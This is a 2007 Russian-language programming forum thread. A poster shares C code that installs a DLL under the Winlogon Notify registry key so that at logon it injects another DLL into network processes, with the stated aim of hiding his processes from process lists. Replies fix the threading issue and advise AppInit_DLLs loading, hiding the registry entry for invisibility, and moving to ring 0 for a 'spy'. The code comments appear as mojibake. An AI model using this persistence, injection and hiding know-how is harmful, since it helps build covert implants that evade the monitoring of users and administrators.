Снова winlogon

Тема в разделе "WASM.WIN32", создана пользователем Aivengo, 10 май 2007.

  1. Aivengo

    Aivengo New Member

    Публикаций:
    0
    Регистрация:
    6 фев 2007
    Сообщения:
    29
    Добрый день. Пытаюсь запустить dll через winlogon, которая будет инжектить код в сетевые процессы. Код:
    Код (Text):
    1. DWORD WINAPI thread_proc(LPVOID x)
    2.  {
    3.   //GetInfo();
    4.   //Âíåäðåíèå dll â ñåòåâûå ïðîöåññû
    5.   InjectingDll("C:\\IncludeDll.dll");
    6.  
    7.   return 0;
    8.  }
    9.  
    10. extern   "C"
    11. {
    12.  __declspec(dllexport) LONG _stdcall Install(HWND hWnd, HINSTANCE hInstance, LPCSTR lpCmdLine, DWORD dummy)
    13.  {HKEY hKey;
    14.   char DllName[]="C:\\wlogondll.dll", start[]="Start";
    15.   BOOL r = true;
    16.   int i=0, a=1;
    17.  
    18.   if(RegCreateKeyEx (HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Notify\\cslsa", 0, NULL, REG_OPTION_NON_VOLATILE, KEY_SET_VALUE, NULL, &hKey, NULL) == ERROR_SUCCESS)
    19.   {
    20.    RegSetValueEx (hKey, "DLLName", 0, REG_SZ, (PBYTE)DllName, lstrlen(DllName)+1);
    21.    RegSetValueEx (hKey, "StartShell", 0, REG_SZ, (PBYTE)start, lstrlen(start)+1);
    22.    RegSetValueEx (hKey, "StopScreenSaver", 0, REG_SZ, (PBYTE)start, lstrlen(start)+1);
    23.    RegSetValueEx (hKey, "Impersonate", 0, REG_DWORD, (BYTE *)&i, sizeof(i));
    24.    RegSetValueEx (hKey, "Asynchronous", 0, REG_DWORD, (BYTE *)&a, sizeof(a));
    25.   }
    26.   else
    27.    MessageBox(NULL, "Êëþ÷ íå ñîçäàí", "Îøèáêà", MB_OK);
    28.  
    29.   RegCloseKey(hKey);
    30.  
    31.   return r;
    32.  }
    33.  
    34.  __declspec(dllexport) LONG _stdcall Start(HWND hWnd, HINSTANCE hInstance, LPCSTR lpCmdLine, DWORD dummy)
    35.  {
    36.   DWORD tid;
    37.  
    38.   HANDLE hThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)thread_proc, NULL,0,&tid);
    39.   if (hThread == NULL)
    40.   {
    41.    MessageBox(NULL, "Ïîòîê íå ñîçäàí", "Ïîòîê íå ñîçäàí", MB_OK);
    42.    return 0;
    43.   }
    44.  
    45.   WaitForSingleObject(hThread, INFINITE);
    46.   CloseHandle (hThread);
    47.  }
    48. }
    49. //---------------------------------------------------------------------------
    50. int WINAPI DllEntryPoint(HINSTANCE hinst, unsigned long reason, void* lpReserved)
    51. {
    52.  if(reason == DLL_PROCESS_ATTACH)//(reason == DLL_THREAD_ATTACH)
    53.  {
    54.   DWORD tid;
    55.   HANDLE hThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)thread_proc, NULL,0,&tid);
    56.   if (hThread == NULL)
    57.   {
    58.    MessageBox(NULL, "Ïîòîê èç DllEntryPoint íå çàïóùåí", "Îøèáêà", MB_OK);
    59.    return 0;
    60.   }
    61.  
    62.   CloseHandle (hThread);
    63.  }
    64.  
    65.  return 1;
    66. }
    При входе юзера отрабатывает только DllEntryPoint, да и то система не даёт запущенному потоку закончиться, а просто гасит его после некоторого промежутка времени. Функция Start почему-то при запуске оболочки не вызывается. Зато происходит её запуск почему-то при выходе из системы. Вопрос: Посоветуйте каким образом можно организовать загрузку dll при старте системы и систематический вызов её функций (для внедрения в запущенные сетевые процессы)... Если не использовать хуки, на ум приходит только winlogon, но он при текущем коде почему-то не даёт потоку завершиться.
     
  2. Aivengo

    Aivengo New Member

    Публикаций:
    0
    Регистрация:
    6 фев 2007
    Сообщения:
    29
    Неужели никаких идей?
     
  3. spencer

    spencer New Member

    Публикаций:
    0
    Регистрация:
    15 авг 2005
    Сообщения:
    277
    а CreateThread с каким кодом завершается? разве успешно?
     
  4. Aivengo

    Aivengo New Member

    Публикаций:
    0
    Регистрация:
    6 фев 2007
    Сообщения:
    29
    судя по тому, что месэйдхбокс не вылетал ни разу - успешно
     
  5. spencer

    spencer New Member

    Публикаций:
    0
    Регистрация:
    15 авг 2005
    Сообщения:
    277
    лучьше судить не по этому, а по тому что возвращает CreateThread, это можно поглядеть в ольке
     
  6. Aivengo

    Aivengo New Member

    Публикаций:
    0
    Регистрация:
    6 фев 2007
    Сообщения:
    29
    ситуация получается следующая: при входе юзера отрабатывает(создётся трэд и т.д.) DllEntrypoint (но работа этого трэда прерывается системой, не давая ему завершить свою работу)... далее что бы ни происходило (даже те события, обработчиком которой прописана ф-ция Start)... по завершению работы системы отрабатывают обе функции.
     
  7. lamer2k

    lamer2k New Member

    Публикаций:
    0
    Регистрация:
    14 май 2006
    Сообщения:
    88
    >>> HANDLE hThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)thread_proc, NULL,0,&tid);
    >> CloseHandle (hThread);

    Уловил мысль ? :)
     
  8. Mental_Mirror

    Mental_Mirror New Member

    Публикаций:
    0
    Регистрация:
    7 май 2007
    Сообщения:
    431
    lamer2k
    Нет, дело не в этом.
     
  9. Mental_Mirror

    Mental_Mirror New Member

    Публикаций:
    0
    Регистрация:
    7 май 2007
    Сообщения:
    431
    Aivengo
    IMHO опасный вызов WaitForSingleObject в Start, потому что неизвестно что за поток вызывает эту экспортуруемую функцию. Попробуй убрать эту функцию ожидания.
     
  10. Aivengo

    Aivengo New Member

    Публикаций:
    0
    Регистрация:
    6 фев 2007
    Сообщения:
    29
    Пробовал - ничего не меняется... Я её уже после прикрутил... думал может дело именно в этом и поэтому система не даёт потоку завершиться.
     
  11. Guest

    Guest Guest

    Публикаций:
    0
    Я недавно тоже что-то там с DLL мучался, вроде работает, вроде результат возращает, вроде и entrypoint срабатывает, проблема была в ошибке доступа к памяти 0xc0000005 в entry, ОСь такую DLL'ку без предупреждения гасит. Проверь, может у тебя такая-же беда.
     
  12. TermoSINteZ

    TermoSINteZ Синоби даоса Команда форума

    Публикаций:
    2
    Регистрация:
    11 июн 2004
    Сообщения:
    3.568
    Адрес:
    Russia
    Вообще читаем темы по внедрению длл, а так же думаем, как можно подгрузить длл в систему при старте.
    Это могут быть как грубые методы - драйвер или отдельная прога при старте системы запускается и внедряет во все что нужно длл-ку, либо ключи реестра, отвечающие за подгрузку библиотеки при старте приложения.
    Нюансы будут только с внедрением в системные процессы. А так все должно работать.
    Я же при дллаттач делаю так:
    Код (Text):
    1.         HANDLE hInitThread;
    2.         DWORD dwInitThreadId;
    3.         hInitThread = CreateThread (NULL, NULL, InitProc, NULL, 0, &dwInitThreadId);
    4.         if (hInitTimerThread)
    5.         {
    6.             CloseHandle(hInitThread);
    7.             hInitThread  = NULL;
    8.         }
    InitProc - можно поставить например заглушку - ожидание. При установки глобального эвента например, из всех процессов длл автоматом выгружается осовобождая рессурсы.

    В общем у меня работает все.
    Ну и конечно если не удастся - кидай бинарник - глянем...
     
  13. Aivengo

    Aivengo New Member

    Публикаций:
    0
    Регистрация:
    6 фев 2007
    Сообщения:
    29
    Дело в том, что если длл подгружать в обычном пользовательском сеансе от любого рабочего процесса, то всё работает, как надо... пробовал запускать Start через rundll32 - всё, как надо. Проблема именно в том, что при запуске через winlogon функции не отрабатывают. Хтел сделать инжект именно таким способом чтобы инжектящий процесс не было видно в списке процессов, не используя при этом выходов в r0. куда можно бинарники кинуть?
     
  14. Guest

    Guest Guest

    Публикаций:
    0
    Шансов мало:
    1. Обычный taskmngr ты обойдешь 100% без winlogon.
    2. Такие тулзы как Process Explorer умеют перечислять хэндлы и юзают крутые фишки, которые намного проще обойти именно в r0.
     
  15. TermoSINteZ

    TermoSINteZ Синоби даоса Команда форума

    Публикаций:
    2
    Регистрация:
    11 июн 2004
    Сообщения:
    3.568
    Адрес:
    Russia
    Aivengo
    Чтоб скрыть процесс, надо чтоб его небыло в системе вообще. Процесса нет - и скрывать нечего. (система сама зазгузит все, например пихни длл в App_Inst ключ реестра). Логично?
    Если ты делаешь крутой шпион и тп, то от процесса прийдеться отказаться полюбому. Юзай другие методы. Конечно лучше всего ринг-0.
    Если же ты ничего крутого не пишешь, то тогда зачем скрывать?
    Думаю вначале стоит определиться с целью. Там нет ничего среднего - либо ты выше всех и всех имеешь, либо ниже всех и тебя имеют..
     
  16. Aivengo

    Aivengo New Member

    Публикаций:
    0
    Регистрация:
    6 фев 2007
    Сообщения:
    29
    App_Inst будет грузить длл ко всем процессам - не хотелось бы. Всё, что я хотел - это чтобы при перечислении процессов не вылазили запущенные мной... посчитал решением для этого работать через длл, ибо они внутри легальных процессов будут делать то, что мне надо, т.е.: с помощью длл из winlogon с привелегиями SYSTEM будет произведён инжект другой длл в нужные процессы - как итог никаких новых процессов... почти всё чисто... Если я в чём-то неправ - просьба поправить. Считал, что эта задача достаточно легко реализуема для того чтобы лезть в нулевой ринг (сам с ним ещё не работал толком). Если другого выхода нет? - полезу... тогда, если не трудно, подскажите, как это примерно должно выглядеть и куда копать.
    Всё-таки не совсем понятно пока можно реализовать эту схему через winlogon?
     
  17. Guest

    Guest Guest

    Публикаций:
    0
    Данный ключ в реестре очень хорошее место:
    1. позволяет грузить длл почти (вроде как которые используют user32.dll) во все процессы.
    2. работает в safe mode.
    3. скрыть наличие записи в данном ключе и получаем хорошую невидимость.
    Если не хочешь грузится к системным процессам, то сделай проверку в entry от имени чего запущен процесс.

    Нулевое кольцо не трогай если нет опыта, т.к. там не все так просто и если полезешь то не используй доступ через physicalmemory.
     
  18. Aivengo

    Aivengo New Member

    Публикаций:
    0
    Регистрация:
    6 фев 2007
    Сообщения:
    29
    Т.е. я правильно понимаю, вариант с winloon'ом не рабочий? Каковы могут быть причины этого (логичные)? Просто хотелось бы иметь какое-нить понимание почему такая ерунда происходит... или же стоит всё-таки копать в эту сторону?
     
  19. Guest

    Guest Guest

    Публикаций:
    0
    Все зависит от тебя и твоих умений, сказать точно и прямо нельзя. Попробуй App_Inst и если все будет устраивать то оставь этот вариант.